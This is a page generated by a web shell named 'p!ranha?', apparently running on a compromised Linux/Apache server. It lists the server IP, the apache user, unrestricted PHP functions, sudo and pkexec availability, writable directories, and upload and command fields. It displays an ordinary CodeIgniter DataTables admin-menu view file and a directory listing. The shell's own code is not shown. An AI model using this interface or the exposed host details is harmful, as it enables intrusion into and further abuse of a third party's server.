p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/views/back/pages/menu/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/views/back/pages/menu/menu-datatable.php
<script type="text/javascript">

   let tableMenu;

   // Show Table
   $(document).ready(function(){
      tableMenu = $('#tableMenu').DataTable({
         processing: true,
         serverSide: true,
         order: [],
         ajax: {
         'url': "<?= base_url('back/menu/ajax_list') ?>",
         'type': "POST"
         },
         columnDefs: [
            { 
               'targets': [ 0, -1 ], 
               'orderable': false, 
            }
         ],
      });
   });

   // Reload Table
   function reload_table(){
      tableMenu.ajax.reload(null, false);
   }

   // Save Button Modal
   function save(){
      $('#btn_save').text('Saving...');
      $('#btn_save').attr('disabled', true);

      $.ajax({
         type: 'post',
         dataType: 'json',
         url: '<?= base_url('back/menu/action') ?>',
         data: $('#form').serialize(),
         success: function(data){
            if(data.status){
               $('#modalMenu').modal('hide');
               location.reload();
            }
            $('#btn_save').text('Save');
            $('#btn_save').attr('disabled', false);
         },
         error: function(){
            Swal.fire({
               icon: 'error',
               title: 'Oops...',
               text: 'Something Happened!',
               showConfirmButton: true
            });
            $('#modalMenu').modal('hide');
            $('#btn_save').text('Save');
            $('#btn_save').attr('disabled', false);
         }
      }); 
   }

   // Add Menu
   function add_menu(){
      $('#form')[0].reset();
      $('.modal-title').text('Add Menu');
      $('#modalMenu').modal('show');
   } 

   //Edit  
   function edit_menu(id){
      $.ajax({
         url : '<?= base_url('back/menu/get_data/') ?>',
         data: {id :id},
         type: 'post',
         dataType: 'json',
         success: function(data){
            $('[name="id"]').val(data.id);
            $('[name="title"]').val(data.title);
            $('[name="url"]').val(data.url);
            $('[name="icon"]').val(data.icon);
            $('[name="is_active"]').val(data.is_active);

            $('.modal-title').text('Edit Menu');
            $('#modalMenu').modal('show');
         },
      });
   }

   // Delete Menu
   function delete_menu(id){
      Swal.fire({
         title: 'Apakah anda yakin?',
         icon: 'warning',
         showCancelButton: true,
         confirmButtonColor: '#3085d6',
         cancelButtonColor: '#d33',
         confirmButtonText: 'Hapus!'
         }).then((result) => {
         if (result.value) {
            $.ajax({
               type: 'post',
               dataType: 'json',
               url: '<?= base_url('back/menu/delete'); ?>',
               data: {
                  id: id
               },
               success: function(data){
                  if(data.status){
                     tableMenu.row( $(this).parents('tr') ).remove().draw();
                     $('#modalMenu').modal('hide');
                     location.reload();
                  }
               },
               error: function(){
                  $('#modalMenu').modal('hide');
                  Swal.fire({
                     icon: 'error',
                     title: 'Oops...',
                     text: 'Something Happened!',
                     showConfirmButton: true
                  });
               }
            });
         }
      });
   }


</script>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:10
0 / 0
0755
menu-datatable.php
3.367 KB
May 22 2021 15:56:26
0 / 0
0644
menu.php
3.243 KB
May 22 2021 13:09:36
0 / 0
0644
submenu-datatable.php
3.497 KB
May 22 2021 15:56:38
0 / 0
0644
submenu.php
3.563 KB
May 22 2021 16:33:54
0 / 0
0644